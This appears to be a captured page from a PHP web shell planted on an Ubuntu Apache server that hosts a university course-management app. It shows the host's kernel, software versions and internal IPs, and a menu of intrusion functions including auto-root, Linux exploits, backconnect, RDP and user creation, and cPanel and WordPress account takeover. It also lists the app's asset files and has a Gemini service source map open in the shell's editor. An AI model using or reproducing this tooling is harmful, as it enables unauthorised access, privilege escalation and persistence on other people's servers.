Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
coursewise /
assets /
[ HOME SHELL ]
Name
Size
Permission
Action
AcademicTools-tj30wEj0.js
7.55
KB
-rwxr-xr-x
AcademicTools-tj30wEj0.js.map
14.63
KB
-rwxr-xr-x
AddCourse-BTNu-pnI.js
10.08
KB
-rwxr-xr-x
AddCourse-BTNu-pnI.js.map
35.84
KB
-rwxr-xr-x
AdminFeedbackManagement-DsTd1C...
13.52
KB
-rwxr-xr-x
AdminFeedbackManagement-DsTd1C...
45.25
KB
-rwxr-xr-x
CourseReviews-CLlzbLuT.js
27.45
KB
-rwxr-xr-x
CourseReviews-CLlzbLuT.js.map
112.09
KB
-rwxr-xr-x
Dewan-B5d13VSK.png
819.07
KB
-rwxr-xr-x
Dewan-Bniqtmij.js
102
B
-rwxr-xr-x
Dewan-Bniqtmij.js.map
197
B
-rwxr-xr-x
EditCourse-DeWQqcol.js
9.65
KB
-rwxr-xr-x
EditCourse-DeWQqcol.js.map
34.87
KB
-rwxr-xr-x
MyCourses-BA9wctPB.js
8.48
KB
-rwxr-xr-x
MyCourses-BA9wctPB.js.map
31.95
KB
-rwxr-xr-x
Rajput-BnxWGXCy.js
104
B
-rwxr-xr-x
Rajput-BnxWGXCy.js.map
200
B
-rwxr-xr-x
Rajput-CE3gMniE.png
908.11
KB
-rwxr-xr-x
Settings-BGf6-NRc.js
2.09
KB
-rwxr-xr-x
Settings-BGf6-NRc.js.map
5.35
KB
-rwxr-xr-x
TimetableClashChecker-gskbNvYE...
32.74
KB
-rwxr-xr-x
TimetableClashChecker-gskbNvYE...
137.78
KB
-rwxr-xr-x
UserManagement-pl4YxOXe.js
2.17
KB
-rwxr-xr-x
UserManagement-pl4YxOXe.js.map
5.49
KB
-rwxr-xr-x
academic-components-DF0R8Z3x.j...
670.84
KB
-rwxr-xr-x
academic-components-DF0R8Z3x.j...
1.87
MB
-rwxr-xr-x
admin-components-DUStTukf.js
1.36
MB
-rwxr-xr-x
admin-components-DUStTukf.js.m...
5.5
MB
-rwxr-xr-x
apple-touch-icon-CvbJoadU.png
20.94
KB
-rwxr-xr-x
browser-DyVnc2OH.js
392
B
-rwxr-xr-x
browser-DyVnc2OH.js.map
404
B
-rwxr-xr-x
favicon-16x16-CXk8OJVQ.png
734
B
-rwxr-xr-x
favicon-32x32-BMg2Kocu.png
1.78
KB
-rwxr-xr-x
favicon-hhFM0i7Z.ico
15.04
KB
-rwxr-xr-x
geminiService-khxcBfs7.js
2.36
KB
-rwxr-xr-x
geminiService-khxcBfs7.js.map
6.73
KB
-rwxr-xr-x
index-BbxTXAhJ.css
45.32
KB
-rwxr-xr-x
index-DN1SJQ1D.js
73.27
KB
-rwxr-xr-x
index-DN1SJQ1D.js.map
215.58
KB
-rwxr-xr-x
index.es-B3idowhG.js
155.35
KB
-rwxr-xr-x
index.es-B3idowhG.js.map
624.87
KB
-rwxr-xr-x
kunal-UYflGF6w.jpg
9.22
MB
-rwxr-xr-x
kunal-ozIpZZVI.js
102
B
-rwxr-xr-x
kunal-ozIpZZVI.js.map
197
B
-rwxr-xr-x
pdf-vendor-Bz5wMm03.js
317.87
KB
-rwxr-xr-x
pdf-vendor-Bz5wMm03.js.map
976.2
KB
-rwxr-xr-x
purify.es-CQJ0hv7W.js
21.35
KB
-rwxr-xr-x
purify.es-CQJ0hv7W.js.map
88.01
KB
-rwxr-xr-x
react-vendor-BFYHlx6n.js
160.29
KB
-rwxr-xr-x
react-vendor-BFYHlx6n.js.map
687.16
KB
-rwxr-xr-x
sarthak-CfXTejkX.png
764.15
KB
-rwxr-xr-x
sarthak-Cq6ZcrGb.js
106
B
-rwxr-xr-x
sarthak-Cq6ZcrGb.js.map
203
B
-rwxr-xr-x
site-BwHFeIBa.webmanifest
263
B
-rwxr-xr-x
supabase-vendor-DtZyL83W.js
105.45
KB
-rwxr-xr-x
supabase-vendor-DtZyL83W.js.ma...
449.41
KB
-rwxr-xr-x
ui-vendor-DSJ4jbeb.js
44.26
KB
-rwxr-xr-x
ui-vendor-DSJ4jbeb.js.map
190.96
KB
-rwxr-xr-x
useToast-Bg1woyD1.js
414
B
-rwxr-xr-x
useToast-Bg1woyD1.js.map
1.83
KB
-rwxr-xr-x
xlsx-vendor-D_ykzFJ-.js
276.48
KB
-rwxr-xr-x
xlsx-vendor-D_ykzFJ-.js.map
1.37
MB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : geminiService-khxcBfs7.js.map
{"version":3,"file":"geminiService-khxcBfs7.js","sources":["../../src_new/services/geminiService.ts"],"sourcesContent":["// Development service for Gemini API calls\r\n// This is used for local development when Vercel functions aren't available\r\n\r\nconst GEMINI_API_KEY = import.meta.env.VITE_GEMINI_API_KEY;\r\n\r\nexport const extractTranscriptData = async (base64Data: string, prompt: string) => {\r\n if (!GEMINI_API_KEY) {\r\n throw new Error('VITE_GEMINI_API_KEY not found in environment variables. Please add it to your .env.local file.');\r\n }\r\n\r\n // Debug logging\r\n console.log('📊 Base64 data format:', base64Data.substring(0, 50) + '...');\r\n console.log('📊 Data starts with data:', base64Data.startsWith('data:'));\r\n \r\n // Validate data\r\n if (!base64Data || base64Data.length < 100) {\r\n throw new Error('Invalid or empty file data provided');\r\n }\r\n\r\n // Determine MIME type from data URL\r\n let mimeType = \"image/jpeg\"; // default\r\n if (base64Data.startsWith('data:application/pdf')) {\r\n mimeType = \"application/pdf\";\r\n console.log('📄 Detected PDF file');\r\n } else if (base64Data.startsWith('data:image/png')) {\r\n mimeType = \"image/png\";\r\n console.log('🖼️ Detected PNG image');\r\n } else if (base64Data.startsWith('data:image/webp')) {\r\n mimeType = \"image/webp\";\r\n console.log('🖼️ Detected WebP image');\r\n } else if (base64Data.startsWith('data:image/jpeg') || base64Data.startsWith('data:image/jpg')) {\r\n mimeType = \"image/jpeg\";\r\n console.log('🖼️ Detected JPEG image');\r\n } else {\r\n console.log('🖼️ Assuming JPEG format');\r\n }\r\n \r\n try {\r\n console.log('📤 Sending request to Gemini API with MIME type:', mimeType);\r\n \r\n const response = await fetch(\r\n `https://generativelanguage.googleapis.com/v1beta/models/gemini-1.5-flash:generateContent?key=${GEMINI_API_KEY}`,\r\n {\r\n method: 'POST',\r\n headers: {\r\n 'Content-Type': 'application/json',\r\n },\r\n body: JSON.stringify({\r\n contents: [\r\n {\r\n parts: [\r\n {\r\n text: prompt\r\n },\r\n {\r\n inline_data: {\r\n mime_type: mimeType,\r\n data: base64Data.includes(',') ? base64Data.split(',')[1] : base64Data // Handle both data URL and raw base64\r\n }\r\n }\r\n ]\r\n }\r\n ],\r\n generationConfig: {\r\n temperature: 0.1,\r\n topK: 32,\r\n topP: 1,\r\n maxOutputTokens: 4096,\r\n },\r\n safetySettings: [\r\n {\r\n category: \"HARM_CATEGORY_HARASSMENT\",\r\n threshold: \"BLOCK_MEDIUM_AND_ABOVE\"\r\n },\r\n {\r\n category: \"HARM_CATEGORY_HATE_SPEECH\",\r\n threshold: \"BLOCK_MEDIUM_AND_ABOVE\"\r\n },\r\n {\r\n category: \"HARM_CATEGORY_SEXUALLY_EXPLICIT\",\r\n threshold: \"BLOCK_MEDIUM_AND_ABOVE\"\r\n },\r\n {\r\n category: \"HARM_CATEGORY_DANGEROUS_CONTENT\",\r\n threshold: \"BLOCK_MEDIUM_AND_ABOVE\"\r\n }\r\n ]\r\n }),\r\n }\r\n );\r\n\r\n if (!response.ok) {\r\n const errorText = await response.text();\r\n console.error('Gemini API error:', errorText);\r\n throw new Error(`Gemini API error: ${response.status} ${response.statusText}`);\r\n }\r\n\r\n const result = await response.json();\r\n\r\n // Extract the generated text\r\n if (!result.candidates || !result.candidates[0] || !result.candidates[0].content) {\r\n console.error('Invalid Gemini response structure:', result);\r\n throw new Error('Invalid response from Gemini API');\r\n }\r\n\r\n const generatedText = result.candidates[0].content.parts[0].text;\r\n\r\n // Parse the JSON response from Gemini\r\n let extractedData;\r\n try {\r\n // Clean the response (remove any markdown formatting)\r\n const cleanedText = generatedText.replace(/```json\\n?|\\n?```/g, '').trim();\r\n extractedData = JSON.parse(cleanedText);\r\n } catch (parseError) {\r\n console.error('Failed to parse Gemini response as JSON:', generatedText);\r\n throw new Error('Failed to parse transcript data. Please ensure the image contains a clear academic transcript.');\r\n }\r\n\r\n // Validate the extracted data structure\r\n if (!extractedData.courses || !Array.isArray(extractedData.courses)) {\r\n throw new Error('Invalid transcript format. Could not extract course information.');\r\n }\r\n\r\n return extractedData;\r\n\r\n } catch (error) {\r\n console.error('Error in Gemini service:', error);\r\n throw error;\r\n }\r\n}; "],"names":["GEMINI_API_KEY","extractTranscriptData","base64Data","prompt","mimeType","response","errorText","result","generatedText","extractedData","cleanedText","error"],"mappings":"AAGA,MAAMA,EAAiB,0CAEVC,EAAwB,MAAOC,EAAoBC,IAAmB,CAUjF,GAJA,QAAQ,IAAI,yBAA0BD,EAAW,UAAU,EAAG,EAAE,EAAI,KAAK,EACzE,QAAQ,IAAI,4BAA6BA,EAAW,WAAW,OAAO,CAAC,EAGnE,CAACA,GAAcA,EAAW,OAAS,IAC/B,MAAA,IAAI,MAAM,qCAAqC,EAIvD,IAAIE,EAAW,aACXF,EAAW,WAAW,sBAAsB,GACnCE,EAAA,kBACX,QAAQ,IAAI,sBAAsB,GACzBF,EAAW,WAAW,gBAAgB,GACpCE,EAAA,YACX,QAAQ,IAAI,wBAAwB,GAC3BF,EAAW,WAAW,iBAAiB,GACrCE,EAAA,aACX,QAAQ,IAAI,yBAAyB,GAC5BF,EAAW,WAAW,iBAAiB,GAAKA,EAAW,WAAW,gBAAgB,GAChFE,EAAA,aACX,QAAQ,IAAI,yBAAyB,GAErC,QAAQ,IAAI,0BAA0B,EAGpC,GAAA,CACM,QAAA,IAAI,mDAAoDA,CAAQ,EAExE,MAAMC,EAAW,MAAM,MACrB,gGAAgGL,CAAc,GAC9G,CACE,OAAQ,OACR,QAAS,CACP,eAAgB,kBAClB,EACA,KAAM,KAAK,UAAU,CACnB,SAAU,CACR,CACE,MAAO,CACL,CACE,KAAMG,CACR,EACA,CACE,YAAa,CACX,UAAWC,EACX,KAAMF,EAAW,SAAS,GAAG,EAAIA,EAAW,MAAM,GAAG,EAAE,CAAC,EAAIA,CAAA,CAC9D,CACF,CACF,CAEJ,EACA,iBAAkB,CAChB,YAAa,GACb,KAAM,GACN,KAAM,EACN,gBAAiB,IACnB,EACA,eAAgB,CACd,CACE,SAAU,2BACV,UAAW,wBACb,EACA,CACE,SAAU,4BACV,UAAW,wBACb,EACA,CACE,SAAU,kCACV,UAAW,wBACb,EACA,CACE,SAAU,kCACV,UAAW,wBAAA,CACb,CAEH,CAAA,CAAA,CAEL,EAEI,GAAA,CAACG,EAAS,GAAI,CACV,MAAAC,EAAY,MAAMD,EAAS,KAAK,EAC9B,cAAA,MAAM,oBAAqBC,CAAS,EACtC,IAAI,MAAM,qBAAqBD,EAAS,MAAM,IAAIA,EAAS,UAAU,EAAE,CAAA,CAGzE,MAAAE,EAAS,MAAMF,EAAS,KAAK,EAGnC,GAAI,CAACE,EAAO,YAAc,CAACA,EAAO,WAAW,CAAC,GAAK,CAACA,EAAO,WAAW,CAAC,EAAE,QAC/D,cAAA,MAAM,qCAAsCA,CAAM,EACpD,IAAI,MAAM,kCAAkC,EAG9C,MAAAC,EAAgBD,EAAO,WAAW,CAAC,EAAE,QAAQ,MAAM,CAAC,EAAE,KAGxD,IAAAE,EACA,GAAA,CAEF,MAAMC,EAAcF,EAAc,QAAQ,qBAAsB,EAAE,EAAE,KAAK,EACzDC,EAAA,KAAK,MAAMC,CAAW,OACnB,CACX,cAAA,MAAM,2CAA4CF,CAAa,EACjE,IAAI,MAAM,gGAAgG,CAAA,CAI9G,GAAA,CAACC,EAAc,SAAW,CAAC,MAAM,QAAQA,EAAc,OAAO,EAC1D,MAAA,IAAI,MAAM,kEAAkE,EAG7E,OAAAA,QAEAE,EAAO,CACN,cAAA,MAAM,2BAA4BA,CAAK,EACzCA,CAAA,CAEV"}
Close